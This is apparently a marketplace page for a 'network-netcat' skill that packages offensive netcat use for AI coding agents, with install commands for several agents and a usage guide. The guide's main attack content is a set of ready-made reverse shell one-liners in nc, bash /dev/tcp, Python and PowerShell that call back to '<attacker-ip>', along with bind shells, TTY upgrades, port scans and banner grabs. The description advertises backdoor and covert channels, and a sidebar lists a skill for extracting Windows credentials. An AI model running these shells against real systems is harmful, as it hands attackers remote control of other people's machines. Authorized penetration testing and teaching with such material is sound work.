api-mitmproxy
Interactive HTTPS proxy for API security testing with traffic interception, modification, and replay capabilities. Supports…
Network utility for reading and writing data across TCP/UDP connections, port scanning, file transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and port availability, (2) Creating reverse shells and bind shells for authorized penetration
Claude Code
$ npx -y skills add AgentSecOps/SecOpsAgentKit --skill network-netcat --agent claude-code
Codex
$ npx skills add AgentSecOps/SecOpsAgentKit --skill network-netcat -a codex -y
Cursor
$ npx skills add AgentSecOps/SecOpsAgentKit --skill network-netcat -a cursor -y
Gemini CLI
$ npx skills add AgentSecOps/SecOpsAgentKit --skill network-netcat -a gemini-cli -y
GitHub Copilot
$ npx skills add AgentSecOps/SecOpsAgentKit --skill network-netcat -a github-copilot -y
OpenCode
$ npx skills add AgentSecOps/SecOpsAgentKit --skill network-netcat -a opencode -y
Windsurf
$ npx skills add AgentSecOps/SecOpsAgentKit --skill network-netcat -a windsurf -y
name: network-netcat description: > Network utility for reading and writing data across TCP/UDP connections, port scanning, file transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and port availability, (2) Creating reverse shells and bind shells for authorized penetration testing, (3) Transferring files between systems in restricted environments, (4) Banner grabbing and service enumeration, (5) Establishing covert communication channels, (6) Testing firewall rules and network segmentation. version: 0.1.0 maintainer: sirappsec@gmail.com category: offsec tags: [networking, netcat, reverse-shell, file-transfer, port-scanning, banner-grabbing] frameworks: [MITRE-ATT&CK, PTES] dependencies: packages: [netcat, ncat] references: - https://nmap.org/ncat/guide/index.html - https://attack.mitre.org/techniques/T1059/
Netcat (nc) is the "Swiss Army knife" of networking tools, providing simple Unix utility for reading and writing data across network connections. This skill covers authorized offensive security applications including reverse shells, bind shells, file transfers, port scanning, and banner grabbing.
**IMPORTANT**: Netcat capabilities can be used maliciously. Only use these techniques in authorized penetration testing environments with proper written permission.
Basic connection and listening:
# Listen on port 4444 nc -lvnp 4444 # Connect to remote host nc <target-ip> <port> # Banner grab a service echo "" | nc <target-ip> 80 # Simple port scan nc -zv <target-ip> 1-1000
Progress: [ ] 1. Verify authorization for network testing [ ] 2. Test basic connectivity and port availability [ ] 3. Perform banner grabbing and service enumeration [ ] 4. Establish reverse or bind shells (if authorized) [ ] 5. Transfer files between systems [ ] 6. Create relay and pivot connections [ ] 7. Document findings and clean up connections [ ] 8. Remove any backdoors or persistence mechanisms
Work through each step systematically. Check off completed items.
**CRITICAL**: Before any netcat operations:
Test network connectivity and port availability:
# TCP connection test nc -vz <target-ip> <port> # UDP connection test nc -uvz <target-ip> <port> # Test port range nc -zv <target-ip> 20-30 # Verbose output nc -v <target-ip> <port>
**Connection test results**:
Extract service banner information:
# HTTP banner grab echo -e "GET / HTTP/1.0\r\n\r\n" | nc <target-ip> 80 # SMTP banner grab echo "QUIT" | nc <target-ip> 25 # FTP banner grab echo "QUIT" | nc <target-ip> 21 # SSH banner grab nc <target-ip> 22 # Generic banner grab with timeout timeout 2 nc <target-ip> <port>
**Service-specific banner grabbing**:
# MySQL banner nc <target-ip> 3306 # PostgreSQL banner nc <target-ip> 5432 # SMB/CIFS banner nc <target-ip> 445 # RDP banner nc <target-ip> 3389
Simple port scanning (note: nmap is more comprehensive):
# Scan single port nc -zv <target-ip> 80 # Scan port range nc -zv <target-ip> 1-1000 # Scan specific ports for port in 21 22 23 25 80 443 3389; do nc -zv <target-ip> $port 2>&1 | grep succeeded done # Fast UDP scan nc -uzv <target-ip> 53,161,500
**Limitations of netcat port scanning**:
Establish reverse shell connections from target to attacker:
**Attacker machine (listener)**:
# Start listener nc -lvnp 4444 # With verbose output nc -lvnp 4444 -v
**Target machine (connector)**:
# Linux reverse shell
nc <attacker-ip> 4444 -e /bin/bash
# If -e not available (OpenBSD netcat)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Bash reverse shell
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
# Windows reverse shell (with ncat)
ncat.exe <attacker-ip> 4444 -e cmd.exe
# PowerShell reverse shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"**Upgrade reverse shell to interactive TTY**:
# Python PTY upgrade
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background shell with Ctrl+Z, then:
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bashCreate listening shell on target machine:
**Target machine (listener with shell)**:
# Linux bind shell nc -lvnp 4444 -e /bin/bash # Without -e flag rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lv
An assortment of security operations skills for AI coding agents. A collaborative approach to shift-left security using Claude Code skills.
Interactive HTTPS proxy for API security testing with traffic interception, modification, and replay capabilities. Supports…
API specification linting and security validation using Stoplight's Spectral with support for OpenAPI, AsyncAPI, and Arazzo…
Fast web fuzzer for DAST testing with directory enumeration, parameter fuzzing, and virtual host discovery. Written in Go for…
Fast, template-based vulnerability scanning using ProjectDiscovery's Nuclei with extensive community templates covering CVEs,…
Dynamic application security testing (DAST) using OWASP ZAP (Zed Attack Proxy) with passive and active scanning, API testing, and…
Python security vulnerability detection using Bandit SAST with CWE and OWASP mapping. Use when: (1) Scanning Python code for…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…